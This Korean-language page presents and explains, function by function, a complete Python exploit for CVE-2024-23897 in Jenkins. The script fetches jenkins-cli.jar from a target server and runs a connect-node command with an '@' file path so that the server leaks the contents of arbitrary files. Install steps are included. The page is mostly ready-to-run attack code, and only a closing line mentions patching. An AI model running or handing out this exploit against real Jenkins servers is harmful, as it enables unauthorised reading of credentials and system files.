
Jenkins를 취약하게 만드는 Python 기반 익스플로잇
argparse: 명령줄 인수를 처리하기 위해.requests: HTTP 요청을 보내기 위해.os: 운영 체제와 상호작용하기 위해.subprocess: 시스템 명령을 실행하기 위해.sys: Python 인터프리터와 상호작용하기 위해.banner 함수def banner():
"""
Imprime un banner decorativo para la herramienta.
"""
text = """
______ _______ ____ ___ ____ _ _ ____ _____ ___ ___ _____ _ _ _
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \|___ / ( _ )/ _ \___ | | | ___ _ __ | | _(_)_ __ ___
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / / _ | |/ _ \ '_ \| |/ / | '_ \/ __|
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ ___) | (_) \__, |/ / | |_| | __/ | | | <| | | | \__|
\____| \_/ |_____| |_____|\___/_____| |_| |_____|____/ \___/ /_//_/ \___/ \___|_| |_|_|\_\_|_| |_|___/
"""
print(text)
이 함수는 스크립트 시작 시 장식 배너를 출력합니다.
descargar_jar 함수def descargar_jar(ip, puerto):
"""
Descarga el archivo jenkins-cli.jar desde el servidor Jenkins especificado.
Args:
ip (str): Dirección IP del servidor Jenkins.
puerto (str): Puerto del servidor Jenkins.
Returns:
bool: True si la descarga fue exitosa, False en caso contrario.
"""
url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
try:
response = requests.get(url)
if response.status_code == 200:
with open('jenkins-cli.jar', 'wb') as archivo_jar:
archivo_jar.write(response.content)
return True
else:
print(f"\n[-] No se pudo descargar el archivo. Código de estado: {response.status_code}")
return False
except requests.RequestException as errorhttp:
print(f"\n[-] Error al realizar la solicitud: {errorhttp}")
return False
이 함수는 IP 주소와 포트로 지정된 Jenkins 서버에서 jenkins-cli.jar 파일을 다운로드합니다. 다운로드에 성공하면 파일을 시스템에 저장하고 True를 반환하며, 그렇지 않으면 False를 반환합니다.
attack_payload 함수def attack_payload(ip, puerto, ruta):
"""
Ejecuta el payload para conectar un nodo Jenkins.
Args:
ip (str): Dirección IP del servidor Jenkins.
puerto (str): Puerto del servidor Jenkins.
ruta (str): Ruta para leer el archivo.
"""
archivo_jar = "jenkins-cli.jar"
payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
try:
subprocess.run(payload, shell=True, check=True)
os.remove(archivo_jar)
except subprocess.CalledProcessError as error_payload:
print(f"\n[-] Error al intentar conectar el nodo: {error_payload}\n")
이 함수는 jenkins-cli.jar 파일을 사용하여 Jenkins 노드를 연결하는 명령을 실행합니다. 명령을 실행한 후 JAR 파일을 삭제합니다. 실행 중 오류가 발생하면 오류 메시지를 출력합니다.
main 함수def main():
"""
Función principal que analiza los argumentos y ejecuta las funciones correspondientes.
"""
parser = argparse.ArgumentParser(description="\n[+] Exploit para explotar el CVE-2024-23897\n")
parser.add_argument("ip", type=str, help="\n[+] Dirección IP del servidor Jenkins\n")
parser.add_argument("puerto", type=str, help="\n[+] Puerto del servidor de Jenkins\n")
parser.add_argument("ruta", type=str, help="\n[+] Ruta para leer el archivo\n")
args = parser.parse_args()
ip = args.ip
puerto = args.puerto
ruta = args.ruta
banner()
if descargar_jar(ip, puerto):
attack_payload(ip, puerto, ruta)
else:
sys.exit(1)
스크립트의 주요 기능:
ip, puerto, ruta)를 구문 분석합니다.banner 함수를 호출하여 배너를 출력합니다.descargar_jar 함수를 호출하여 JAR 파일을 다운로드합니다.attack_payload 함수를 호출하여 페이로드를 실행하고, 그렇지 않으면 종료 코드 1로 스크립트를 종료합니다.if __name__ == '__main__':
main()
이 블록은 스크립트가 직접 실행될 때만 main 함수가 실행되도록 하며, 모듈로 임포트될 때는 실행되지 않도록 합니다.
이 스크립트는 Jenkins의 취약점을 악용하는 도구입니다. Jenkins 서버에서 JAR 파일을 다운로드하고 해당 파일을 사용하여 Jenkins 노드를 연결하는 페이로드를 실행합니다. 필요한 인자(ip, puerto, ruta)는 명령줄을 통해 제공됩니다.
다음은 필요한 라이브러리 목록과 각각에 대한 pip install 명령입니다.
argparse: 이 라이브러리는 Python 표준 라이브러리에 포함되어 있으므로 설치할 필요가 없습니다.
requests: HTTP 요청을 보내기 위해.
pip install requests
os: 이 라이브러리는 Python 표준 라이브러리에 포함되어 있으므로 설치할 필요가 없습니다.
subprocess: 이 라이브러리는 Python 표준 라이브러리에 포함되어 있으므로 설치할 필요가 없습니다.
sys: 이 라이브러리는 Python 표준 라이브러리에 포함되어 있으므로 설치할 필요가 없습니다.
pip install requests
@/ruta/del/archivo를 포함한 CLI 명령을 Jenkins에 전송합니다.@/ruta/del/archivo를 해석하여 이 인자를 지정된 파일의 내용으로 대체합니다.Jenkins를 적절히 업데이트하고 구성하는 것은 이 취약점으로부터 시스템을 보호하는 데 중요합니다.
